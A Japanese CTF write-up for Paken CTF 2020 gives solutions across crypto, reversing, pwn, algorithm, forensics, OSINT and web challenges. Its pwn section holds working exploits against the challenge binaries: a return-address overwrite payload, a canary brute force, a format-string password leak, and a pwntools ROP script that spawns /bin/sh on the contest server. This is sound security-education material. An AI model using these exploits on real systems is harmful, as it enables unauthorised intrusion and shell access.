Paken CTF 2020 write-up

• https://pakenctf.tk/
• https://github.com/TKPaken/PakenCTF2020

7880点、2位。

Crypto

salad (70点)

これはなんでしょう？

sdnhqFWI{wklv_lv_wrr_hdvb}

これはシーザー暗号。

>>> "".join(chr(ord(x)-3) for x in "sdnhqFWI{wklv_lv_wrr_hdvb}")
'pakenCTFxthis\\is\\too\\eas_z'

pakenCTF{this_is_too_easy}

JOIushi (150点)

フラグは、得られた文字列をpakenCTF{}で括ったものです。大文字小文字は問いません。

JOOOIOOOIJJIOOJOIJJOIJOIJOJJIJJOOOIJJIJJJIOJOJIOOOIOOIOOIJJIOJIOOJIJJJIOOOIOOOIOJI

ヒントは、

JOI🐮「モー」

最初は全然分からなかった。「大文字小文字は問いません」が大きなヒントだな。大文字小文字が定まらないような文字列になるということ。あと、Iだけ連続することが無くて区切りっぽい。

「モー」ルス符号。

JOOOIOOOIJJIOOJOIJJOIJOIJOJJIJJOOOIJJIJJJIOJOJIOOOIOOIOOIJJIOJIOOJIJJJIOOOIOOOIOJI
.--- --- .. --.- ..- .- .-.. ..--- .. ... -.-. --- -- -- .. -. --. ... --- --- -.
j    o   i  q    u   a  l    2     i  s   c    o   m  m  i  n  g   s   o   o   n

pakenCTF{joiqual2iscommingsoon}

Mr.Taher (200点)

問題のZIPの中に、pycとcodeというファイルが入っている。pycをa.pycに変えてuncompyle6で逆コンパイル。

$ uncompyle6 a.pyc
# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.6.8 (default, Jan 14 2019, 11:02:34)
# [GCC 8.0.1 20180414 (experimental) [trunk revision 259383]]
# Embedded file name: encodeElgamal.py
# Compiled at: 2020-10-09 21:15:32
# Size of source mod 2**32: 217 bytes
p = pow(2, 521) - 1
g = 23465675253
x = 45466765
m = int(input('plainText:'))
y = pow(g, x, p)
r = 35426
enc1 = pow(g, r, p)
enc2 = pow(y, r, p) * m % p
print('code1:' + str(enc1))
print('code2:' + str(enc2))
# okay decompiling a.pyc

enc2をpow(y, r, p)で割れば良い。

solve.py

enc2 = 2120403903076703834514243322316105937757315062520771728791977484839802965205251266018189029958131618069233499450694892261180928293911858348401790013829165266
p = pow(2, 521)-1
g = 23465675253
x = 45466765
r = 35426
y = pow(g, x, p)
m = enc2 * pow(pow(y, r, p), p-2, p) % p

from Crypto.Util.number import *
print(long_to_bytes(m).decode())

pakenCTF{7a6er_4_31GaMa1}

Easy RSA (200点)

 :
p,q,eが分かっている状態からの復号化プログラムの例


from Crypto.Util.number import inverse,long_to_bytes,bytes_to_long

c=

p=
q=
e=
n=p*q

d=inverse(e,(p-1)*(q-1))
flag=long_to_bytes(pow(c,d,n)).decode()
print(flag)

問題ファイルがていねいにこうなっていて、各パラメタも別ファイルにあるので、コピペして動かすだけ。

pakenCTF{d16_y0u_un6erstand_r5a}

kazoeage (250点)

RSA暗号の公開鍵と暗号文から復号してください。

N : 1422481401584487840622609273771371336719671044293070644033681128339473646262272075713884957746547606407977247864592463662588647490160789721258277280762741902688725339217703275603104973624174785874280562638754859328821212774250247266998496535966698042617572815493399762249902490860353118901509040616354388602127313636570885096816698317114685833542861824894553327840079524065290345505977297302441889816020208918147424158178318595664848620843168144053489899493412974603392186768969203156822319815547199829896110068255882643530837898002425921244333501728127184540032934352336892543672588491765922255533523449894597554132507697615463004202541984696593425180537883071517054041245789599037508812303669751779949
e : 65537
c : 819457590779718673723999804359306940214964366106154208329747285945801495903063364212620804847681988319861682233840623931810294581542569786222436658676401766818221814195526960465927948437849590481318537899708043934141103876057483426172112123655906550120814881589012622193244951306994617906100050056004927509856530745202322189119201790574165327379144656336588347480574752025641078240702261787744158140208499779935079535797785075501114081494087831563543081995362257044861560243556000590284155432335310387260109860886317191734199338657976691581441635488514176666088347590020313403044426738603101073711254830548335158155234090844296468266121682074813424812015566729182407520503862560165604026787361453897057

え、無理では……。と思ったけど、Nが素因数分解できた。

sage: factor(1422481401584487840622609273771371336719671044293070644033681128339473646262272075713884957746547606407977247864592463662588647490160789721258277280762741902688725339217703275603104973624174785874280562638754859328821212774250247266998496535966698042617572815493399762249902490860353118901509040616354388602127313636570885096816698317114685833542861824894553327840079524065290345505977297302441889816020208918147424158178318595664848620843168144053489899493412974603392186768969203156822319815547199829896110068255882643530837898002425921244333501728127184540032934352336892543672588491765922255533523449894597554132507697615463004202541984696593425180537883071517054041245789599037508812303669751779949)
1000000007 * 1422481391627118099232782579141893282726418065208144187576671815302770939142875501713756445750252486156209844771123550264723795637094220261598735449571593755687569049404719929770065465233716529238264857970900853532515238046643580940493429952512688375028754190292120430205059479424936762926951700127692487708279899678611587346535586891365577593983818667007822658785320912568043957529669594594754727652737115348987616715265001588809837499174305649833350350659960519983668546883289374973796694998970334837103766208529519183824203611233000642613329003434824160496263810878490216394241073732078406130984680533001833823119670935777766453758176808389355766455047517886184428837954787733353994678825707

solve.py

N = 1422481401584487840622609273771371336719671044293070644033681128339473646262272075713884957746547606407977247864592463662588647490160789721258277280762741902688725339217703275603104973624174785874280562638754859328821212774250247266998496535966698042617572815493399762249902490860353118901509040616354388602127313636570885096816698317114685833542861824894553327840079524065290345505977297302441889816020208918147424158178318595664848620843168144053489899493412974603392186768969203156822319815547199829896110068255882643530837898002425921244333501728127184540032934352336892543672588491765922255533523449894597554132507697615463004202541984696593425180537883071517054041245789599037508812303669751779949
e = 65537
c = 819457590779718673723999804359306940214964366106154208329747285945801495903063364212620804847681988319861682233840623931810294581542569786222436658676401766818221814195526960465927948437849590481318537899708043934141103876057483426172112123655906550120814881589012622193244951306994617906100050056004927509856530745202322189119201790574165327379144656336588347480574752025641078240702261787744158140208499779935079535797785075501114081494087831563543081995362257044861560243556000590284155432335310387260109860886317191734199338657976691581441635488514176666088347590020313403044426738603101073711254830548335158155234090844296468266121682074813424812015566729182407520503862560165604026787361453897057

from Crypto.Util.number import *

p = 1000000007
q = N//p
d = inverse(e, (p-1)*(q-1))

print(long_to_bytes(pow(c, d, N)).decode())

pakenCTF{k4z0e4ge_1s_4un}

Mod Mono Paired Crypto (450点)

解けなかった。

Code : "@o&U2%h/XR-a0+(0C'590590-055BB5(0r5QQ5*LlCP"

almost full prime range

writer:kenkenken2004

このシリーズ分からん。

文字種がちょうどアルファベットと同じ26文字だから置換式暗号のような気はするが……。

Coprime Crypto (500点)

---Decrypt this cryptograph---
"c1ys{4_C0_ky_}_hhaFrnn75ar5!y7p3T8aep1p"
---Examples of plain texts and codes' pair---
"Tsukukoma-Paken" "ea-mkksnkPaouuT"
"kenkenken2004" "4002nekneknek"
"We_love_CTF" "oCevT_eFl_W"
"Prime_Number_Is_Still_Veiled" "lerlri__mVIees_i_NlSuetmdibP"
"Are_You_Enjoying_This_CTF?" "?FTC_sihT_gniyojnE_uoY_erA"
"abcdefghijk" "eibfjcgkdha"

逆順になっていたりいなかったり。最後の例は1文字1回しか出てこないので、どう移動するかが分かる。

こうかな。

solve.py

C = "c1ys{4_C0_ky_}_hhaFrnn75ar5!y7p3T8aep1p"
n = len(C)
P = ""
for i in range(n):
  P += C[(i*25+38)%n]
print(P)

iの係数と文字列長が互いに素（coprime）ならば、全ての文字が1回ずつ使われる。

pakenCTF{7h15_15_an_3asy_cryp708r4phy!}

Crand Crypto (500点)

解けなかった。

Code : "2G=WE%[6$,DH^VLDXvkBh^N2UMBd5r(Q%"

key:3452 full range

writer:kenkenken2004

Composite Expo Crypto (500点)

解けなかった。

Code:"uMg_nx4=vAMbv>p’.gktgFZ>gg>’[>D’>Lg_v>_jW)F]"

same key

almost full prime range

writer:kenkenken2004

「range」って何なんだろう。

Black Box X (600点)

$ ./blackboxX
PlainText:test
Code:b809b02a8bcbded2f3584008
$ ./blackboxX
PlainText:hoge
Code:627b60cd29694878a8b94af7
$ ./blackboxX
PlainText:testtest
Code:b809b02a8bcbded2f3584008403230f822568b87c3f01504

blackboxXはちょっと読む気のしない分量。「Black Box」というタイトルだし、平文の先頭が同じなら暗号文の先頭も同じなので、1文字ずつ総当たりしろということか。

solve.py

from pwn import *
import time

code = "fe4040284fad14f2d0b94c8b9f53a85ce335016354bc0bcab10cd82509c766b73049fdd1896683d473c8f0b12497bbf03f0b88248618ec0cb3c7b19eb8bc8a8f9c85ecae40bbaff108cc9f0f46649fce0cca42dcd49f537332ac91271fcf4a6710472f77927f"

def lcp(x, y):
  a = 0
  while True:
    if a>=len(x) or a>=len(y) or x[a]!=y[a]:
      return a
    a += 1

flag = ""
m = -1
while True:
  up = False
  for c in range(128):
    c = chr(c)
    s = process("./blackboxX")
    s.sendline(flag+c)
    l = lcp(s.recv(9999).decode()[15:], code)
    s.close()
    if l>m:
      m = l
      mc = c
      up = True
  flag += mc
  print(flag)
  if not up:
    break

pakenCTF{Y0u_1i8hte6_7he_dArKNe55}

Reversing

Zatsu Game (150点)

こんなゲーム。うさみみハリケーンでメモリ中から5000兆を探して書き換え。

pakenCTF{C54rp_l5_90d}

china (350点)

以下のLinux実行ファイルを解析して、適切な入力を与えてください。

64ビット整数nを読み込んで、n%0xdcf3==0x185 && n%0x1634=0x1e4 && ...というチェックをしている。問題名のchinaは中国剰余定理のchinaか。

sage: crt([0x185, 0x1e4, 0x8, 0x10, 0x4], [0xdcf3, 0x1634, 0x14, 0x30, 0x59])
795216558928

$ ./china
795216558928
The Flag is : pakenCTF{Ch1nese_Rem4inder_The0rem}

pakenCTF{Ch1nese_Rem4inder_The0rem}

Creator&Destroyer (500点)

C&D.c

char buf[0x3c98];
int x = 8;

int main()
{
    FILE *f;
    if ((x&3)==0) {
        f = fopen("out", "w");
        // bufに書き込み
        fwrite(buf, 1, 0x3c98, f);
        if (x==8)
            f = fopen("out", "w");
    fclose(f);
}

こんなことをしている。xを0にでも書き換えるとoutが壊されずに手に入る。

outもELFファイルで、

out.c

int x = 0x7d81;
char buf[] = "Haha. You failed to solve this problem!!!"

int main()
{
    if (x==0x8e6a)
        // bufを書き換え
    printf("%s", buf);
}

こんなことをしている。xを0x8e6aに書き換えるとフラグが出力される。

pakenCTF{7h1s_9r08r4m_w1l1_63_d313t3d_s00n!}

pwn

store (100点)

買い物をして所持金が1000000007円以上になったらクリア。オーバーフロー。

$ nc ???.???.???.??? 17693
Welcome to Paken store!
Now, you have 998244353 yen.
This apple's price is 100 yen.
So, how many apples do you want to buy?
1111111111
Thanks!
pakenCTF{6ef1ne_Int_l0n9_l0ng}

pakenCTF{6ef1ne_Int_l0n9_l0ng}

callme (250点)

スタックバッファオーバーフローでリターンアドレスをcallme関数のアドレスに書き換え。movapsの問題があるので、関数の先頭ではなく、push rbpの後に飛ばす。

$ hexdump -C input
00000000  30 31 32 33 34 35 36 37  38 39 61 62 63 64 65 66  |0123456789abcdef|
00000010  30 31 32 33 34 35 36 37  9b 11 40 00 00 00 00 00  |01234567..@.....|
00000020  0a                                                |.|
00000021
$ cat input | nc ???.???.???.??? 12345
Let's input something : pakenCTF{bu4Fer_0v6r_410w}

pakenCTF{bu4Fer_0v6r_410w}

maze (250点)

$ nc ???.???.???.??? 15991
Hello,What's your name?
hoge
#####
#####
## .##
#####
#####
U : up, D : down, L : left, R : right
U
x : 2, y: 2
You cant't go there

出られませんが……。

名前にバッファオーバーフローがあるものの、自前のカナリアを置いている。ただし1文字。何十回かアタックすると、たまたまカナリアがAだったときに破れる。

 :
$ nc ???.???.???.??? 15991
Hello,What's your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Don't hack~~

$ nc ???.???.???.??? 15991
Hello,What's your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA
AAAAA
AAAAA
AAAAA
AAAAA
U : up, D : down, L : left, R : right
x : 2, y: 2
Invalid
U
x : 2, y: 2
U
x : 1, y: 2
U
pakenCTF{6ru4e_40rce}

pakenCTF{6ru4e_40rce}

password (300点)

password.c

# include<stdio.h>
# include<stdlib.h>
int main(){
    system("cat /dev/urandom | tr -dc \"[:alnum:]\" | fold -w 16 | head -n 1 > password.txt");
    FILE *fp=fopen("password.txt","r");
    char password[20];
    fgets(password,16,fp);
    
    printf("What's your name?\n");
    fflush(stdout);
    char* name=malloc(20);
    fgets(name,16,stdin);

    printf("Hello,");
    printf(name);
    printf("\n");
    fflush(stdout);

    printf("What is the password?\n");fflush(stdout);
    char* input=malloc(20);
    fgets(input,16,stdin);

    if(strcmp(input,password)==0){
        printf("Congraturations!\n");fflush(stdout);
        system("/bin/cat flag.txt");
    }
}

printf(name)で書式文字列攻撃が可能。"%s"で読めれば楽だけど、読めなさそうなので、"%lx"で読んで手元で文字列に変換。

$ nc ???.???.???.??? 15692
What's your name?
%10$lx %11$lx
Hello,3531695072464775 43414a36775968

What is the password?
uGFrPi15hYw6JAC
Congraturations!
pakenCTF{F0rm6t_Str1ng_4ttack}

pakenCTF{F0rm6t_Str1ng_4ttack}

libc (450点)

libc.c

# include<stdio.h>
# include<stdlib.h>
int main(){
    printf("printf's address : %p\n",printf);
    printf("Input something : ");fflush(stdout);
    char c[16];
    fgets(c,256,stdin);
}

ガチなやつ。とはいえ、printfのアドレスを教えてくれるのでリークさせる必要は無し。libc 2.31でOne-gadget RCEは大変そうだから、普通にROP。Pwntoolsにお任せ。

attack.py

from pwn import *

s = remote("3.131.69.179", 19283)

s.recvuntil(b"printf's address : 0x")
printf = int(s.recvline()[:-1], 16)

context.arch = "amd64"
libc = ELF("libc.so.6")
libc.address = printf - libc.symbols.printf

rop = ROP(libc)
rop.execv(next(libc.search(b"/bin/sh")), 0)
s.sendlineafter(b"Input something : ", b"a"*24+rop.chain())

s.interactive()

$ python3 attack.py
[+] Opening connection to 3.131.69.179 on port 19283: Done
[*] '/mnt/d/documents/ctf/PakenCTF2020/libc/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 198 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
This is pseudo shell.
pakenCTF{return_t0_1ibc_4tt4ck}

[*] Got EOF while reading in interactive
$

/bin/shを実行した時点でフラグが出てきた。

pakenCTF{return_t0_1ibc_4tt4ck}

kyopro

競プロジャンルいいね。

JOISS2020 (70点)

これは何でしょう？

}rerv{nTC__Vr5pehk1sVaer4nf$rTeoun8v0Fn
ただし、ここでは $ を他の文字より真に小さい末端文字として扱っています。

writer : define

$の辞書順の説明が出てくる時点で、これはBW変換。

solve.py

L = "}rerv{nTC__Vr5pehk1sVaer4nf$rTeoun8v0Fn"
n = len(L)

L = list(L)
F = sorted(L)

for X in [F, L]:
  S = {}
  for i in range(n):
    if X[i] not in S:
      S[X[i]] = 0
    c = S[X[i]]
    S[X[i]] += 1
    X[i] = (X[i], c)

p = ("$", 0)
flag = ""
for i in range(n):
  t = L.index(p)
  flag += F[t][0]
  p = F[t]
print(flag)

pakenCTF{8urr0vv5_VVhee1er_Tr4nsfornn}

Let's play Nim (150点)

Nim。AIが弱いので、山の数を2個にして、あとは2個の山のコインの枚数が等しい状態を維持すれば勝てる。

$ ./Game
Hello.
I am ken-BOT.
Lets play Nim!!
Current Coins:
1:121 2:24 3:105 4:114 5:126 6:91
Round:1
Current Coins:
1:121 2:24 3:105 4:114 5:126 6:91

Please enter the index of mountain and number of coins you want to remove.
Mountain:1

Coins:121

Input accepted.
Current Coins:
1:0 2:24 3:105 4:114 5:126 6:91
I already took Coins.
Current Coins:
1:0 2:24 3:105 4:114 5:126 6:65
Round:2
Current Coins:
1:0 2:24 3:105 4:114 5:126 6:65

Please enter the index of mountain and number of coins you want to remove.
Mountain:2

Coins:24

Input accepted.
Current Coins:
1:0 2:0 3:105 4:114 5:126 6:65
I already took Coins.
Current Coins:
1:0 2:0 3:105 4:114 5:126 6:37
Round:3
Current Coins:
1:0 2:0 3:105 4:114 5:126 6:37

Please enter the index of mountain and number of coins you want to remove.
Mountain:3

Coins:105

Input accepted.
Current Coins:
1:0 2:0 3:0 4:114 5:126 6:37
I already took Coins.
Current Coins:
1:0 2:0 3:0 4:114 5:126 6:14
Round:4
Current Coins:
1:0 2:0 3:0 4:114 5:126 6:14

Please enter the index of mountain and number of coins you want to remove.
Mountain:4

Coins:114

Input accepted.
Current Coins:
1:0 2:0 3:0 4:0 5:126 6:14
I already took Coins.
Current Coins:
1:0 2:0 3:0 4:0 5:110 6:14
Round:5
Current Coins:
1:0 2:0 3:0 4:0 5:110 6:14

Please enter the index of mountain and number of coins you want to remove.
Mountain:5

Coins:96

Input accepted.
Current Coins:
1:0 2:0 3:0 4:0 5:14 6:14
I already took Coins.
Current Coins:
1:0 2:0 3:0 4:0 5:14 6:0
Round:6
Current Coins:
1:0 2:0 3:0 4:0 5:14 6:0

Please enter the index of mountain and number of coins you want to remove.
Mountain:5

Coins:14

Input accepted.
Current Coins:
1:0 2:0 3:0 4:0 5:0 6:0
All coins were taken.
You won!! You are great!!
I give you a gift.FLAG: pakenCTF{Y0v_4r3_N1m_M4s7er}
Bye Bye.

pakenCTF{Y0v_4r3_N1m_M4s7er}

shortest (150点)

N頂点M辺の全ての重みが1の無向グラフがあります。

define君は頂点0からの全頂点への最短経路を求めるプログラムを書きましたが、どうやらバグっているようです。

撃墜テストケースを作成して下さい。

面白い。define君が書いたプログラムを見ると、幅優先探索で普通はキューを使うところがスタックになって、深さ優先探索になっている。

頂点数5のサイクルでバグる。

$ nc ???.???.???.??? 18293
5 5
0 1
1 2
2 3
3 4
4 0
Congratulations!
pakenCTF{d0_u_l1ke_c0de40rces}

binary (200点)

1以上1000以下の10000個の数字が1列に並んでいます。
1番先頭の数字は1、1番最後(つまり、先頭から10000番目)の数字は1000で、隣り合う数字の差の絶対値は1以下です。
? x を入力することで、先頭からx番目の数字を得ることができます。
この操作を高々10回行った後、500がある位置のうち1つを、その位置をxとして ! x の形で入力し、出てきたフラグを答えてください。
ただし、この問題の設定で数字の列に500が含まれていることは証明可能です。

二分探索。二分対策の対象は、要素の値ではなく、配列の長さで、10回で解けることは保証されているのか……？　..., 499, 499, 499, 500, 501, 501, 501, ...みたいになっていたら絞りきれなくない？とか思ったけど、解けたから良いか。別に1回で解かないといけないわけでもないしな。

$ nc ???.???.???.??? 19292
? 5000
135
? 7500
250
? 9000
547
? 8000
632
? 7750
486
? 7800
518
? 7775
509
? 7760
495
? 7770
504
? 7765
499
! 7766
Congratulations!
pakenCTF{pvvnt0o1s_1s_usefu1}

はい……。Pwntoolsではなく手作業でやってしまった。

pakenCTF{pvvnt0o1s_1s_usefu1}

cycle (250点)

N頂点M辺の重みなし有向グラフがあります。各頂点には1からNの番号が、各辺には1からMの番号が振られており、i番目の辺はAiからBiに向かって張られています。
あなたは、このグラフに閉路が出来るように、辺を0本以上追加します。
追加する辺の候補はK個あります。i番目の候補は、PiからQiに向かって新たに辺を追加するということを表し、また、その辺を追加するにはCiのコストがかかります。
閉路を作るのにかかるコストの最小値を求めてください。
ただし、辺を追加する必要がない場合は0を出力し、どのように辺を追加しても閉路が作れない場合は-1を出力してください。
:
制約
1≦N≦1000
1≦M≦1000
1≦K≦1000
1≦A_i, B_i, P_i, Q_i≦N
1≦C_i≦10^9

競技プログラミングっぽくなってきた。これは問題文を読み替えて、「M+K本の辺がある。自分自身に戻ってくるまでの最小コストは？」と考えると良い。元からある辺はコストを0として扱う。

手元で実行して答えをフラグとして送信する形だし、入力ファイルを見るとN=124と小さい。$O(N^3)$でワーシャルフロイドが簡単。

solve.cpp

# include <iostream>
# include <vector>
# include <algorithm>
using namespace std;

int main()
{
    int N, M, K;
    cin>>N>>M>>K;
    vector<int> A(M), B(M);
    for (int i=0; i<M; i++)
        cin>>A[i]>>B[i],
        A[i]--, B[i]--;
    vector<int> P(K), Q(K);
    vector<long long> C(K);
    for (int i=0; i<K; i++)
        cin>>P[i]>>Q[i]>>C[i],
        P[i]--, Q[i]--;

    long long oo = 1'000'000'000'000;
    vector<vector<long long>> T(N, vector<long long>(N, oo));
    for (int i=0; i<M; i++)
        T[A[i]][B[i]] = 0;
    for (int i=0; i<K; i++)
        T[P[i]][Q[i]] = C[i];

    for (int i=0; i<N; i++)
        for (int j=0; j<N; j++)
            for (int k=0; k<N; k++)
                T[j][k] = min(T[j][k], T[j][i]+T[i][k]);
    long long ans = oo;
    for (int i=0; i<N; i++)
        ans = min(ans, T[i][i]);
    cout<<ans<<endl;
}

pakenCTF{751878637}

inversion (250点)

長さ N の 要素が1〜 N からなる順列Aで、転倒数が K であるようなものの個数を10^9+7で割った余りを求めて下さい。
ただし、数列Aの転倒数とは i < j かつ A_i > A_j であるような (i, j) の組の個数を言います。

この問題の答えを
Test1 : N=245,K=18946
Test2 : N=489,K=75634
の場合について求め、
pakenCTF{(Test1の答え)_(Test2の答え)} の形で提出して下さい。（括弧は入れない）

空の数列から初めて、数字の小さな順に数列のどこかに挿入していく操作を考える。この操作は、長さNの順列を漏れ重複なく生成できる。また、小さな順に挿入しているので、挿入による転倒数の増加は、挿入位置の右の数字の個数である。

あとは、合計を求める処理を差分計算すれば、$O(N^3)$になる。手元で動かすのだから、$O(N^4)$のままでも良かったか。

# include <iostream>
# include <vector>
using namespace std;

int main()
{
    int N, K;
    cin>>N>>K;

    long long M = 1000000007LL;
    vector<long long> T(N*(N-1)/2+1);
    T[0] = 1;
    for (int i=1; i<N; i++)
    {
        long long t = 0;
        for (int j=0; j<i; j++)
            (t += T[i*(i+1)/2-j-1]) %= M;
        (T[i*(i+1)/2] += t) %= M;
        for (int j=i*(i+1)/2-1; j>0; j--)
        {
            if (j-i>=0)
                (t += T[j-i]) %= M;
            (t += M-T[j]) %= M;
            (T[j] += t) %= M;
        }
    }
    cout<<T[K]<<endl;
}

pakenCTF{965917879_825627234}

3BHR (400点)

時は2050年。自治会によって奪われた自由を取り戻すべく、我々筑駒革命軍は自治会率いる筑駒防衛軍に宣戦布告した。
決闘の場所は筑駒のグラウンドである。
グラウンドは南北にHm、東西にWmの長方形である。ここで、北西の端からx m南に、y m東に行った点を(x,y) と表現することにしよう。
グラウンドにはN人の防衛軍がおり、i 人目は(X_i,Y_i) に立っている。いずれも南北両方向または東西両方向に向かってビームを撃っており、南北方向ならp_i=0, 東西方向なら p_i=1 である。
我々は任意の回数だけ防衛軍の射程圏外の任意の場所に移動、東西または南北にビームを撃ってその方向にいる防衛軍を倒す事ができる。なお、グラウンドの外から撃つこともできるが、防衛軍のビームはグラウンド外にも貫通することに注意だ。
さて、最大で何人の防衛軍を倒す事ができるだろうか？
:
制約
H,Wは10^9以下
Nは10^5以下
0<=X_i < H
0<=Y_i < W

ある防衛軍について、立っている位置にその防衛軍自身も含めて縦と横のビームが届いていれば、その防衛軍は倒せない。倒せる防衛軍を倒して、それによってビームが消えて倒せる防衛軍増えるのでそれを倒して、……と繰り返せば解けるはずだが、素直に実装すると時間が足りない。倒したことによってビームが消える場所だけを調べ直す。

solve.cpp

# include <iostream>
# include <vector>
# include <map>
# include <set>
using namespace std;

int main()
{
    int H, W, N;
    cin>>H>>W>>N;
    vector<int> X(N), Y(N), p(N);
    for (int i=0; i<N; i++)
        cin>>X[i]>>Y[i]>>p[i];

    //  XB[x]: x座標がxで東西に伸びるビームの本数
    map<int, int> XB, YB;
    //  X2I[x]: x座標がxの防衛軍の添え字
    map<int, set<int>> X2I, Y2I;

    for (int i=0; i<N; i++)
    {
        if (p[i]==0)
            YB[Y[i]]++;
        else
            XB[X[i]]++;
        X2I[X[i]].insert(i);
        Y2I[Y[i]].insert(i);
    }

    //  倒せる防衛軍
    vector<int> Q;

    //  a番目の防衛軍を倒す
    auto erase = [&](int a)
    {
        Q.push_back(a);
        if (p[a]==0)
            YB[Y[a]]--;
        else
            XB[X[a]]--;
        X2I[X[a]].erase(a);
        Y2I[Y[a]].erase(a);
    };

    for (int i=0; i<N; i++)
        if (XB[X[i]]==0 || YB[Y[i]]==0)
            erase(i);

    //  倒した防衛軍の東西南北をアップデート
    for (int i=0; i<(int)Q.size(); i++)
    {
        int a = Q[i];
        if (XB[X[a]]==0)
            for (int b: X2I[X[a]])
                erase(b);
        if (YB[Y[a]]==0)
            for (int b: Y2I[Y[a]])
                erase(b);
    }

    cout<<Q.size()<<endl;
}

pakenCTF{55157_80517}

Forensics

Amazing Sound (100点)

音声を逆再生すると英語で数字を言っている。

pakenCTF{3426543712456783}

Sand Storm (200点)

keyファイルのサイズがちょうどdatabmpのヘッダを除いたサイズなので、XORすると読める。

databmpに縦線が見えるの何かと思ったら、keyファイルの数値が全て128未満なんだな。なぜなんだろう。

pakenCTF{C16uDe_31w00D_5hann0n}

Treasures in JPG Desert (250点)

hint : treasures have marks

writer:kenkenken2004

途中から壊れたJpegファイル。pakenCTFで検索するとファイル中に含まれていて、そこを消すともう少し先まで画像が見えるようになる。Jpegファイルのあちこちにフラグを埋め込んでいるらしい。

Jpegファイル中にたまたまASCII文字列が出てくることはあるはずで、どうやって探すか。「hint : treasures have marks」というのが、_のことかな？

solve.py

D = open("picture.jpg", "r").read()

t = ""
for d in D:
  if d in "CTFabcdefghijklmnopqrstuvwxyz0123456789_{}":
    t += d
  else:
    if len(t)>=6 and ("_" in t or "{" in t or "}" in t):
      print(t)
    t = ""

英数字が6文字以上連続していて、_か{、}を含む文字列を検索。

solve.py

$ python2 solve.py
pakenCTF{
h4rd_4n
d_f34r
fvl_tr34
g{mqem
izo}zms
svr3_hv
n71ng}

誤検出されているものもあるので、読めるものだけ抽出するとフラグになる。フラグを全部消してもJpegファイルが直らなかったのはなぜなのだろう。

pakenCTF{h4rd_4nd_f34rfvl_tr34svr3_hvn71ng}

Byte Art (350点)

なんか模様っぽいものが見える。ところで、このファイルのサイズは24,331 バイト。24331=29*839。839文字ごとに折り返して、ついでに値が全て128未満だったので2倍してみる。

solve.py

from PIL import Image

im = Image.new("RGB", (839, 29))

d = open("artdata", "rb").read()
for i in range(len(d)):
  im.putpixel((i%839, i//839), (d[i]*2, d[i]*2, d[i]*2))
im.save("result.png")

pakenCTF{d0_y0u_kn0w_w64t_15_45C11_Ar7?}

misc

Hello World (10点)

以下の提出フォームに pakenCTF{HelloWorld} と入力して提出して下さい。

pakenCTF{HelloWorld}

kangaetenai (150点)

以下の文字列の偶数文字目を取り出して、pakenCTF{}で囲ったものを提出して下さい。
厳密に偶数文字目である事に気をつけて下さい。

​the​ans​w​eri​sra​n​domst​rin​g

writer : Thistle

ゼロ幅スペースが入っている。ゼロ幅ではないスペースに置き換えると、

 the ans w eri sra n domst rin g

pakenCTF{teasweisandmtrng}

Unbearable To Read (250点)

丸止无和川加奴周利加宇奴和川加奴最毛末幾左川止宇久川仁久知分加数二十個答衣左安
カッコの内部は算用数字
pakenCTF{〇○○}

writer:Thistle & kenkenken2004

分からん。

文字種がちょうど26個なのが何かあるのか、「数二十個答」あたりからして偽中国語みたいな感じで読めるのか。無の異体字の「无」を使っているのはなぜなのか。通しているのはずっとTSG 1チームだけだったのに、終了ちょっと前のほぼ同じ時刻にもう2チーム通していたんだよな。何があったんだ。

unreadable (300点)

難読化シェルスクリプト。

: hogehoge;は無視して良い。$'\x65\x63\x68\x6f'はecho。と読んでいくと、

_____=$(echo H4s...AA=|base64 -d|gzip -d -c);
eval $_____;

という処理をしている。

_____の中身は、

read __;
___=false;
____=$(echo -n $__|base64);
: [ "$____" != YjBpaV8xc19XSkVfMG9aNWhabWRp ]||___=$?;
: [ "$____" != SmVTbF8xc19MNWFfbjIzSmVteTlt ]||___=$?;
: [ "$____" != RlV4Rl8xc19idzRfblluNHZCS2Ux ]||___=$?;
 :
: [ "$____" != emwxc18xc180VU1fWXVtSHdlRzBY ]||___=$?;
`:` [ "$____" != YjQ1aF8xc190MDBfZDFmZjEyNDd0 ]||___=$?;
: [ "$____" != N2xael8xc19SVmtfVE1OYkRFTGdO ]||___=$?;
 :
: [ "$____" != VXVTeV8xc19ZMzVfYWttY004RUxp ]||___=$?;
if [ $___ = "1" ];
then
  echo "Give you the flag : pakenCTF{$__} (^^)/";
  exit;
fi;
echo "Ops...";

:ではない行のYjQ1aF8xc190MDBfZDFmZjEyNDd0をbase64で復号すると、b45h_1s_t00_d1ff1247t。1段階目のシェルスクリプトはまだ先があったけど、同じ処理が繰り返されているだけかな？

$ bash unreadable.sh
b45h_1s_t00_d1ff1247t
Give you the flag : pakenCTF{b45h_1s_t00_d1ff1247t} (^^)/

pakenCTF{b45h_1s_t00_d1ff1247t}

OSINT

Twitter (50点)

パ研の公式Twitterを知っていますか？僕は知っています。

参加前に「コンテストURLはどこだろう？」と検索して見つけていた。

pakenCTF{Y0u_are_tvv1tter_m45ter}

Address (100点)

この店を始めて知ったけど、ググルと大量の店舗があるな……。

「井之頭」とか「三鷹中央病院」とかが読めて何とかなった。三鷹下連雀店。

pakenCTF{181_0013_4_14_16}

kaishuu (150点)

ハッシュタグの中身を当てて下さい。FLAGはハッシュタグの中身 ( '#' なし) をpakenCTF{}で括ったものです。

スプレーペンキの落書きの写真。渋谷あたりがひどいらしいが……。kaishuuって何だろう？　改修？　とググってみたら見つけた。こんなイベントがあったのか。

渋谷駅前　解体前の百貨店で「落書き」アート｜TOKYO MX+（プラス）

pakenCTF{391045428}

Station (250点)

この駅の名称とこの線の名称をローマ字で答えよ

「明大前」「下北沢」「渋谷」「吉祥寺」がギリギリ読めるので何とかなった。久我山駅、井の頭線。

pakenCTF{kugayama_station_inokashira_line}

Web

F12 (30点)

F12開発者ツール。問題文にHTMLコメントがある。

<span class="challenge-desc">
    <!--pakenCTF{deve10per_t0015}-->
<p>writer : define</p>

pakenCTF{deve10per_t0015}

unreadable2 (100点)

難読化JavaScript。flag()を実行すれば良い。

pakenCTF{h0w_d0_yOu_re4d_th1s_text}

アンケート

アンケート (50点)

